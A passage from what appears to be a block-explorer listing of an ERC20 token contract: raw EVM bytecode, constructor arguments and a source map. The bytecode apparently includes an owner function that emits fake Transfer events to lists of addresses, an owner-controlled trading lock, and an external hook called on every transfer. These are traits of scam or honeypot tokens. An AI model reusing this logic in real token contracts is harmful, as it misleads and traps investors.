5b600063ffffffff82169050919050565b611ec681611ead565b8114611ed157600080fd5b50565b600081359050611ee381611ebd565b92915050565b60008060408385031215611f0057611eff611ba7565b5b6000611f0e85828601611bc8565b9250506020611f1f85828601611ed4565b9150509250929050565b60008060408385031215611f4057611f3f611ba7565b5b6000611f4e85828601611bc8565b9250506020611f5f85828601611bc8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611fb057607f821691505b602082108103611fc357611fc2611f69565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061200382611bdd565b915061200e83611bdd565b925082820390508181111561202657612025611fc9565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061206682611bdd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361209857612097611fc9565b5b600182019050919050565b60006120ae82611bdd565b91506120b983611bdd565b92508282019050808211156120d1576120d0611fc9565b5b92915050565b7f436f756c64204e6f742053656e64000000000000000000000000000000000000600082015250565b600061210d600e83611aa4565b9150612118826120d7565b602082019050919050565b6000602082019050818103600083015261213c81612100565b9050919050565b60006040820190506121586000830185611b7d565b6121656020830184611c89565b9392505050565b61217581611c53565b811461218057600080fd5b50565b6000815190506121928161216c565b92915050565b6000602082840312156121ae576121ad611ba7565b5b60006121bc84828501612183565b91505092915050565b7f436f756c64204e6f7420537061776e0000000000000000000000000000000000600082015250565b60006121fb600f83611aa4565b9150612206826121c5565b602082019050919050565b6000602082019050818103600083015261222a816121ee565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061228d602583611aa4565b915061229882612231565b604082019050919050565b600060208201905081810360008301526122bc81612280565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061231f602683611aa4565b915061232a826122c3565b604082019050919050565b6000602082019050818103600083015261234e81612312565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123b1602483611aa4565b91506123bc82612355565b604082019050919050565b600060208201905081810360008301526123e0816123a4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612443602283611aa4565b915061244e826123e7565b604082019050919050565b6000602082019050818103600083015261247281612436565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006124af601d83611aa4565b91506124ba82612479565b602082019050919050565b600060208201905081810360008301526124de816124a2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612541602583611aa4565b915061254c826124e5565b604082019050919050565b6000602082019050818103600083015261257081612534565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125d3602383611aa4565b91506125de82612577565b604082019050919050565b60006020820190508181036000830152612602816125c6565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612665602983611aa4565b915061267082612609565b604082019050919050565b6000602082019050818103600083015261269481612658565b9050919050565b50565b60006126ab600083611aa4565b91506126b68261269b565b600082019050919050565b600060208201905081810360008301526126da8161269e565b9050919050565b60006060820190506126f66000830186611b7d565b6127036020830185611b7d565b6127106040830184611c89565b949350505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061274e602083611aa4565b915061275982612718565b602082019050919050565b6000602082019050818103600083015261277d81612741565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006127ba601b83611aa4565b91506127c582612784565b602082019050919050565b600060208201905081810360008301526127e9816127ad565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220d5c015eff467d08237c9ba2d285e85f7d861897083bc924f9e0acfb6f4ee2ef064736f6c634300081300330000000000000000000000002c8c10588098a54b2df2148ec8819ff88edddf2c00000000000000000000000082ca266d6d04475152734fcf12303a138c8cce3b

0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063564a417a1161010f578063a457c2d7116100a2578063d5abeb0111610071578063d5abeb01146105b3578063dd62ed3e146105d1578063ebad8f1614610601578063f2fde38b1461060b576101f0565b8063a457c2d714610519578063a9059cbb14610549578063b7f4e89914610579578063c2b7bbb614610597576101f0565b80638d981e36116100de5780638d981e36146104a15780638da5cb5b146104bf57806395d89b41146104dd5780639c9b4cdb146104fb576101f0565b8063564a417a1461040757806370a0823114610437578063715018a6146104675780637c70f3bf14610471576101f0565b806326ededb81161018757806342a5880c1161015657806342a5880c14610391578063486d910f146103af57806349bd5a5e146103cb5780634ed9428e146103e9576101f0565b806326ededb8146103095780632d3e69ea14610325578063313ce567146103435780633950935114610361576101f0565b806318160ddd116101c357806318160ddd1461027f57806319e995501461029d57806321f83c43146102bb57806323b872dd146102d9576101f0565b806306fdde03146101f55780630754617214610213578063095ea7b31461023157806312fa6feb14610261575b600080fd5b6101fd610627565b60405161020a9190611b29565b60405180910390f35b61021b6106b9565b6040516102289190611b8c565b60405180910390f35b61024b60048036038101906102469190611c13565b6106df565b6040516102589190611c6e565b60405180910390f35b610269610702565b6040516102769190611c6e565b60405180910390f35b610287610715565b6040516102949190611c98565b60405180910390f35b6102a561071f565b6040516102b29190611c98565b60405180910390f35b6102c3610752565b6040516102d09190611c98565b60405180910390f35b6102f360048036038101906102ee9190611cb3565b610758565b6040516103009190611c6e565b60405180910390f35b610323600480360381019061031e9190611d6b565b610787565b005b61032d610864565b60405161033a9190611c6e565b60405180910390f35b61034b61087b565b6040516103589190611de7565b60405180910390f35b61037b60048036038101906103769190611c13565b610884565b6040516103889190611c6e565b60405180910390f35b6103996108bb565b6040516103a69190611c98565b60405180910390f35b6103c960048036038101906103c49190611e40565b6108df565b005b6103d3610a0c565b6040516103e09190611b8c565b60405180910390f35b6103f1610a32565b6040516103fe9190611c98565b60405180910390f35b610421600480360381019061041c9190611e80565b610a56565b60405161042e9190611c6e565b60405180910390f35b610451600480360381019061044c9190611e80565b610a76565b60405161045e9190611c98565b60405180910390f35b61046f610abf565b005b61048b60048036038101906104869190611ee9565b610ad3565b6040516104989190611c6e565b60405180910390f35b6104a9610b02565b6040516104b69190611b8c565b60405180910390f35b6104c7610b28565b6040516104d49190611b8c565b60405180910390f35b6104e5610b52565b6040516104f29190611b29565b60405180910390f35b610503610be4565b6040516105109190611b8c565b60405180910390f35b610533600480360381019061052e9190611c13565b610c08565b6040516105409190611c6e565b60405180910390f35b610563600480360381019061055e9190611c13565b610c7f565b6040516105709190611c6e565b60405180910390f35b610581610ca2565b60405161058e9190611c98565b60405180910390f35b6105b160048036038101906105ac9190611e80565b610cc6565b005b6105bb610d12565b6040516105c89190611c98565b60405180910390f35b6105eb60048036038101906105e69190611f29565b610d36565b6040516105f89190611c98565b60405180910390f35b610609610dbd565b005b61062560048036038101906106209190611e80565b610e1e565b005b60606009805461063690611f98565b80601f016020809104026020016040519081016040528092919081815260200182805461066290611f98565b80156106af5780601f10610684576101008083540402835291602001916106af565b820191906000526020600020905b81548152906001019060200180831161069257829003601f168201915b5050505050905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806106ea610ea1565b90506106f7818585610ea9565b600191505092915050565b600f60009054906101000a900460ff1681565b6000600754905090565b60007f00000000000000000000000000000000000000000000000000000000012610d14361074d9190611ff8565b905090565b61070881565b600080610763610ea1565b9050610770858285611072565b61077b8585856110fe565b60019150509392505050565b61078f6117cf565b60005b8383905081101561085e578383828181106107b0576107af61202c565b5b90506020020160208101906107c59190611e80565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108439190611c98565b60405180910390a380806108569061205b565b915050610792565b50505050565b6000600660009054906101000a900460ff16905090565b60006009905090565b60008061088f610ea1565b90506108b08185856108a18589610d36565b6108ab91906120a3565b610ea9565b600191505092915050565b7f0000000000000000000000000000000000000000000000000000000065d527c381565b61090c33600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610758565b61094b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094290612123565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a1e463d833846040518363ffffffff1660e01b8152600401610986929190612143565b6020604051808303816000875af11580156109a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c99190612198565b610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff90612211565b60405180910390fd5b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f0000000000000000000000000000000000000000000000a2a15d09519be0000081565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ac76117cf565b610ad1600061184d565b565b600e6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610b6190611f98565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8d90611f98565b8015610bda5780601f10610baf57610100808354040283529160200191610bda565b820191906000526020600020905b815481529060010190602001808311610bbd57829003601f168201915b5050505050905090565b7f0000000000000000000000000fb2e723b9fc67ae5a21d891ab681954f3eb4b7581565b600080610c13610ea1565b90506000610c218286610d36565b905083811015610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d906122a3565b60405180910390fd5b610c738286868403610ea9565b60019250505092915050565b600080610c8a610ea1565b9050610c978185856110fe565b600191505092915050565b7f00000000000000000000000000000000000000000000000000000000012610d181565b610cce6117cf565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f0000000000000000000000000000000000000000000000a2a15d09519be0000081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc56117cf565b60011515600660009054906101000a900460ff16151503610e00576000600660006101000a81548160ff021916908315150217905550610e1c565b6001600660006101000a81548160ff0219169083151502179055505b565b610e266117cf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8c90612335565b60405180910390fd5b610e9e8161184d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0f906123c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e90612459565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110659190611c98565b60405180910390a3505050565b600061107e8484610d36565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146110f857818110156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e1906124c5565b60405180910390fd5b6110f78484848403610ea9565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361116d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116490612557565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d3906125e9565b60405180910390fd5b6000811161121f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112169061267b565b60405180910390fd5b60011515600660009054906101000a900460ff16151514806112735750611244610b28565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806112b05750611281610b28565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156116c557600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156113585750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561151657611368838383611913565b6113d4816040518060600160405280602681526020016127f160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119189092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061146981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197c90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115099190611c98565b60405180910390a36116c0565b611582816040518060600160405280602681526020016127f160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119189092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061161781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197c90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116b79190611c98565b60405180910390a35b61171c565b60011515600660009054906101000a900460ff1615151461171b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611712906126c1565b60405180910390fd5b5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161177b939291906126e1565b6020604051808303816000875af115801561179a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117be9190612198565b506117ca8383836119da565b505050565b6117d7610ea1565b73ffffffffffffffffffffffffffffffffffffffff166117f56119df565b73ffffffffffffffffffffffffffffffffffffffff161461184b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184290612764565b60405180910390fd5b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b6000838311158290611960576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119579190611b29565b60405180910390fd5b506000838561196f9190611ff8565b9050809150509392505050565b600080828461198b91906120a3565b9050838110156119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c7906127d0565b60405180910390fd5b8091505092915050565b505050565b6000806119ea6119f3565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a7257600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611a94565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ad3578082015181840152602081019050611ab8565b60008484015250505050565b6000601f19601f8301169050919050565b6000611afb82611a99565b611b058185611aa4565b9350611b15818560208601611ab5565b611b1e81611adf565b840191505092915050565b60006020820190508181036000830152611b438184611af0565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b7682611b4b565b9050919050565b611b8681611b6b565b82525050565b6000602082019050611ba16000830184611b7d565b92915050565b600080fd5b600080fd5b611bba81611b6b565b8114611bc557600080fd5b50565b600081359050611bd781611bb1565b92915050565b6000819050919050565b611bf081611bdd565b8114611bfb57600080fd5b50565b600081359050611c0d81611be7565b92915050565b60008060408385031215611c2a57611c29611ba7565b5b6000611c3885828601611bc8565b9250506020611c4985828601611bfe565b9150509250929050565b60008115159050919050565b611c6881611c53565b82525050565b6000602082019050611c836000830184611c5f565b92915050565b611c9281611bdd565b82525050565b6000602082019050611cad6000830184611c89565b92915050565b600080600060608486031215611ccc57611ccb611ba7565b5b6000611cda86828701611bc8565b9350506020611ceb86828701611bc8565b9250506040611cfc86828701611bfe565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611d2b57611d2a611d06565b5b8235905067ffffffffffffffff811115611d4857611d47611d0b565b5b602083019150836020820283011115611d6457611d63611d10565b5b9250929050565b600080600060408486031215611d8457611d83611ba7565b5b600084013567ffffffffffffffff811115611da257611da1611bac565b5b611dae86828701611d15565b93509350506020611dc186828701611bfe565b9150509250925092565b600060ff82169050919050565b611de181611dcb565b82525050565b6000602082019050611dfc6000830184611dd8565b92915050565b6000611e0d82611b6b565b9050919050565b611e1d81611e02565b8114611e2857600080fd5b50565b600081359050611e3a81611e14565b92915050565b60008060408385031215611e5757611e56611ba7565b5b6000611e6585828601611bfe565b9250506020611e7685828601611e2b565b9150509250929050565b600060208284031215611e9657611e95611ba7565b5b6000611ea484828501611bc8565b91505092915050565b600063ffffffff82169050919050565b611ec681611ead565b8114611ed157600080fd5b50565b600081359050611ee381611ebd565b92915050565b60008060408385031215611f0057611eff611ba7565b5b6000611f0e85828601611bc8565b9250506020611f1f85828601611ed4565b9150509250929050565b60008060408385031215611f4057611f3f611ba7565b5b6000611f4e85828601611bc8565b9250506020611f5f85828601611bc8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611fb057607f821691505b602082108103611fc357611fc2611f69565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061200382611bdd565b915061200e83611bdd565b925082820390508181111561202657612025611fc9565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061206682611bdd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361209857612097611fc9565b5b600182019050919050565b60006120ae82611bdd565b91506120b983611bdd565b92508282019050808211156120d1576120d0611fc9565b5b92915050565b7f436f756c64204e6f742053656e64000000000000000000000000000000000000600082015250565b600061210d600e83611aa4565b9150612118826120d7565b602082019050919050565b6000602082019050818103600083015261213c81612100565b9050919050565b60006040820190506121586000830185611b7d565b6121656020830184611c89565b9392505050565b61217581611c53565b811461218057600080fd5b50565b6000815190506121928161216c565b92915050565b6000602082840312156121ae576121ad611ba7565b5b60006121bc84828501612183565b91505092915050565b7f436f756c64204e6f7420537061776e0000000000000000000000000000000000600082015250565b60006121fb600f83611aa4565b9150612206826121c5565b602082019050919050565b6000602082019050818103600083015261222a816121ee565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061228d602583611aa4565b915061229882612231565b604082019050919050565b600060208201905081810360008301526122bc81612280565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061231f602683611aa4565b915061232a826122c3565b604082019050919050565b6000602082019050818103600083015261234e81612312565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123b1602483611aa4565b91506123bc82612355565b604082019050919050565b600060208201905081810360008301526123e0816123a4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612443602283611aa4565b915061244e826123e7565b604082019050919050565b6000602082019050818103600083015261247281612436565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006124af601d83611aa4565b91506124ba82612479565b602082019050919050565b600060208201905081810360008301526124de816124a2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612541602583611aa4565b915061254c826124e5565b604082019050919050565b6000602082019050818103600083015261257081612534565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125d3602383611aa4565b91506125de82612577565b604082019050919050565b60006020820190508181036000830152612602816125c6565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612665602983611aa4565b915061267082612609565b604082019050919050565b6000602082019050818103600083015261269481612658565b9050919050565b50565b60006126ab600083611aa4565b91506126b68261269b565b600082019050919050565b600060208201905081810360008301526126da8161269e565b9050919050565b60006060820190506126f66000830186611b7d565b6127036020830185611b7d565b6127106040830184611c89565b949350505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061274e602083611aa4565b915061275982612718565b602082019050919050565b6000602082019050818103600083015261277d81612741565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006127ba601b83611aa4565b91506127c582612784565b602082019050919050565b600060208201905081810360008301526127e9816127ad565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220d5c015eff467d08237c9ba2d285e85f7d861897083bc924f9e0acfb6f4ee2ef064736f6c63430008130033

0000000000000000000000002c8c10588098a54b2df2148ec8819ff88edddf2c00000000000000000000000082ca266d6d04475152734fcf12303a138c8cce3b

-----Decoded View---------------
Arg [0] : distributor_ (address): 0x2C8C10588098A54B2DF2148EC8819Ff88edDDf2c
Arg [1] : initialLPAddress_ (address): 0x82ca266d6D04475152734FcF12303a138c8CCE3b

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000002c8c10588098a54b2df2148ec8819ff88edddf2c
Arg [1] : 00000000000000000000000082ca266d6d04475152734fcf12303a138c8cce3b

562:2472:9:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2649:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;603:21:9;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5008:201:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1416:17:9;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3777:108:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2590:109:9;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1314:54;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5789:261:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2707:223:9;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2493:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3620:92:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6459:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;904:42:9;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2099:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1144:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;685:77;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1748:48:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3948:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1932:103:6;;;:::i;:::-;;1233:74:9;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;633:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1296:87:6;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2868:104:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1106:31:9;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7200:436:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4281:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1013:38:9;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2938:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;769:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4537:151:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2347:138:9;;;:::i;:::-;;2319:201:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2649:100:1;2703:13;2736:5;2729:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2649:100;:::o;603:21:9:-;;;;;;;;;;;;;:::o;5008:201:1:-;5091:4;5108:13;5124:12;:10;:12::i;:::-;5108:28;;5147:32;5156:5;5163:7;5172:6;5147:8;:32::i;:::-;5197:4;5190:11;;;5008:201;;;;:::o;1416:17:9:-;;;;;;;;;;;;;:::o;3777:108:1:-;3838:7;3865:12;;3858:19;;3777:108;:::o;2590:109:9:-;2636:7;2678:13;2663:12;:28;;;;:::i;:::-;2656:35;;2590:109;:::o;1314:54::-;1358:10;1314:54;:::o;5789:261:1:-;5886:4;5903:15;5921:12;:10;:12::i;:::-;5903:30;;5944:38;5960:4;5966:7;5975:6;5944:15;:38::i;:::-;5993:27;6003:4;6009:2;6013:6;5993:9;:27::i;:::-;6038:4;6031:11;;;5789:261;;;;;:::o;2707:223:9:-;1182:13:6;:11;:13::i;:::-;2804:9:9::1;2799:124;2823:10;;:17;;2819:1;:21;2799:124;;;2891:10;;2902:1;2891:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;2867:44;;2876:13;;;;;;;;;;;2867:44;;;2906:4;2867:44;;;;;;:::i;:::-;;;;;;;;2842:3;;;;;:::i;:::-;;;;2799:124;;;;2707:223:::0;;;:::o;2493:89::-;2540:4;2564:10;;;;;;;;;;;2557:17;;2493:89;:::o;3620:92:1:-;3678:5;3703:1;3696:8;;3620:92;:::o;6459:238::-;6547:4;6564:13;6580:12;:10;:12::i;:::-;6564:28;;6603:64;6612:5;6619:7;6656:10;6628:25;6638:5;6645:7;6628:9;:25::i;:::-;:38;;;;:::i;:::-;6603:8;:64::i;:::-;6685:4;6678:11;;;6459:238;;;;:::o;904:42:9:-;;;:::o;2099:240::-;2189:51;2202:10;2214:17;;;;;;;;;;;2233:6;2189:12;:51::i;:::-;2181:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;2278:7;:13;;;2292:10;2304:6;2278:33;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2270:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;2099:240;;:::o;1144:28::-;;;;;;;;;;;;;:::o;685:77::-;;;:::o;1748:48:1:-;;;;;;;;;;;;;;;;;;;;;;:::o;3948:127::-;4022:7;4049:9;:18;4059:7;4049:18;;;;;;;;;;;;;;;;4042:25;;3948:127;;;:::o;1932:103:6:-;1182:13;:11;:13::i;:::-;1997:30:::1;2024:1;1997:18;:30::i;:::-;1932:103::o:0;1233:74:9:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;633:45::-;;;;;;;;;;;;;:::o;1296:87:6:-;1342:7;1369:6;;;;;;;;;;;1362:13;;1296:87;:::o;2868:104:1:-;2924:13;2957:7;2950:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2868:104;:::o;1106:31:9:-;;;:::o;7200:436:1:-;7293:4;